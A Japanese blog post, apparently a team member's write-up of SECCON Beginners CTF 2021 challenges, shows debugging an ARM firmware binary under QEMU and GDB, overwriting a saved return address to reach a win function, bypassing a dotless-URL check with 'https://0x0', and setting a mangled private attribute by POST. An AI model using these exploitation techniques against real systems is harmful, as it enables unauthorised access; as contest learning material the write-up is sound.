この記事は、2021年05月23日に旧ブログに投稿したものです。
チームとして参加しました。私が解いたものを記しておきます。
firmware (302pt)
HTMLや画像ファイルなどが1つにまとめられているfirmware.bin
が渡されます。
その中身を一通り眺めていると、ELFと思われるバイナリを見つけました。
問題のジャンルがreversingということもあり、このファイルを解析するものと考え、該当ファイルを手動で抽出しました。以下抽出したファイルをfirm
と呼びます。
file
コマンドでfirm
を調べると、アーキテクチャがARMでした。
何故かGhidraで解析ができなかった1ため、QEMUとGDBで動的解析をすることにしました。
1$ sudo apt install qemu qemu-user-static gdb-multiarch binutils-multiarch g++-multilib-arm-linux-gnueabihf
2$ qemu-arm-static -strace -g 1234 ./firm
3/lib/ld-linux-armhf.so.3: No such file or directory
4$ qemu-arm-static -strace -g 1234 /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 ./firm
1$ gdb-multiarch -q
2(gdb) target remote :1234
3(gdb) c
11423 writev(2,0xfffc3490,0xa)./firm: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
2 = 114
31423 exit_group(127)
1qemu-arm-static -strace -g 1234 -E LD_PRELOAD="/usr/arm-linux-gnueabihf/lib/libc.so.6" /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 ./firm
1$ gdb-multiarch -q
2(gdb) target remote :1234
11464 bind(5,{sin_family=AF_INET,sin_port=htons(8080),sin_addr=inet_addr("0.0.0.0")}, 16) = 0
21464 listen(5,5,16,-250188,-250188,0) = 0
31464 accept(5,0xfffc2ed8,[16])
strace
より、0.0.0.0:8080
で待受しているようです。そこへtelnet
を用いてアクセスすると、ascii.txt
がないと怒られたため、
再度firmware.bin
からascii.txt
と思われる箇所を抽出して、firm
と同じフォルダに置きました。
1$ telnet 0.0.0.0 8080
2Trying 0.0.0.0...
3Connected to 0.0.0.0.
4Escape character is '^]'.
5███████╗██╗██████╗ ███╗ ███╗██╗ ██╗ █████╗ ██████╗ ███████╗
6 ██╔════╝██║██╔══██╗████╗ ████║██║ ██║██╔══██╗██╔══██╗██╔════╝
7 █████╗ ██║██████╔╝██╔████╔██║██║ █╗ ██║███████║██████╔╝█████╗
8 ██╔══╝ ██║██╔══██╗██║╚██╔╝██║██║███╗██║██╔══██║██╔══██╗██╔══╝
9 ██║ ██║██║ ██║██║ ╚═╝ ██║╚███╔███╔╝██║ ██║██║ ██║███████╗
10 ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
11This is a IoT device made by ctf4b networks. Password authentication is required to operate.
12Input password (password is FLAG) >
この状態でobjdumpによる逆アセンブリ結果を眺めながら、gdbのステップアウト実行で条件分岐命令前のレジスタの動きを追うことにより、
- フラグは(改行文字を含めた)文字数が0x3dであること
- 入力値を
0x53
とXORしてから定数と比較することで、入力値がフラグであるかどうかを判定していること
以上2つの動作が確認できたため、その定数を0x53とXORすることでフラグを得ることができました。
be_angry (234pt)
SECCON Beginners CTF 2019と同じ方法で解きました。
depixelization (136pt)
akictf unreadable message writeupと同じ方法で解きました。
rewriter (108pt)
任意のアドレスの値を書き換えることができるそうです。実際に実行するとリターンアドレスなどが表示されます。 ソースコードが与えられており、win関数を実行するとフラグが表示されるそうです。
checksec
を行うとNo PIE
なので、win関数のアドレスは固定です。
1$ checksec --file=chall
2RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
3Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76) Symbols No 0 2 chall
4
5$ readelf -a chall | grep win
6The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not currently supported.
7 67: 00000000004011f6 69 FUNC GLOBAL DEFAULT 15 win
なお、readelf
が示すアドレスに0x
の接頭辞がないため、入力時は付加しておく必要があります。
1$ nc rewriter.quals.beginners.seccon.jp 4103
2
3[Addr] |[Value]
4====================+===================
5 0x00007fff24d59cb0 | 0x0000000000000000 <- buf
6 0x00007fff24d59cb8 | 0x0000000000000000
7 0x00007fff24d59cc0 | 0x0000000000000000
8 0x00007fff24d59cc8 | 0x0000000000000000
9 0x00007fff24d59cd0 | 0x0000000000000000 <- target
10 0x00007fff24d59cd8 | 0x0000000000000000 <- value
11 0x00007fff24d59ce0 | 0x0000000000401520 <- saved rbp
12 0x00007fff24d59ce8 | 0x00007fc78ee54bf7 <- saved ret addr
13 0x00007fff24d59cf0 | 0x0000000000000001
14 0x00007fff24d59cf8 | 0x00007fff24d59dc8
15
16Where would you like to rewrite it?
17> 0x00007fff24d59ce8
180x00007fff24d59ce8 = 0x00000000004011f6
19
20[Addr] |[Value]
21====================+===================
22 0x00007fff24d59cb0 | 0x3030303030307830 <- buf
23 0x00007fff24d59cb8 | 0x3131303430303030
24 0x00007fff24d59cc0 | 0x00000000000a3666
25 0x00007fff24d59cc8 | 0x0000000000000000
26 0x00007fff24d59cd0 | 0x00000000004011f6 <- target
27 0x00007fff24d59cd8 | 0x00007fff24d59ce8 <- value
28 0x00007fff24d59ce0 | 0x0000000000401520 <- saved rbp
29 0x00007fff24d59ce8 | 0x00000000004011f6 <- saved ret addr
30 0x00007fff24d59cf0 | 0x0000000000000001
31 0x00007fff24d59cf8 | 0x00007fff24d59dc8
check_url (95pt)
ドット文字を使わずにcheck_urlのURIを示せればフラグが得られます。
真っ先に思い浮かんだのがhttps://0
(0.0.0.0
の意味)でしたが、400エラーが表示されてフラグが取れませんでした。
そこで、https://0x0
を試したところフラグが取れました。
Werewolf (70pt)
app.py
が確認できます。ソースコードより、POSTリクエストによってplayer
インスタンスのプロパティを変更できるようです。
app.py
からflask関連の部分を取り除き、player
インスタンスのプロパティを確認してみましょう。
1import random
2
3class Player:
4 def __init__(self):
5 self.name = None
6 self.color = None
7 self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
8 @property
9 def role(self):
10 return self.__role
11
12def index():
13 player = Player()
14 print(player.__dict__)
15 # player.__dict__[k] = v
16
17index()
1$ python app.py
2{'name': None, 'color': None, '_Player__role': 'MADMAN'}
変数名の最初が下線文字二個以上の場合、_Player__role
のように置換されます。
したがって、’_Player__role’をkeyとしてWEREWOLF
をPOST送信すればよいことが分かります。
私はFirefoxの開発者ツールでヘッダを編集して再送信しました。
現時点では解析できているので、もしかしたら
firm
の抽出が不完全だったのかもしれない ↩︎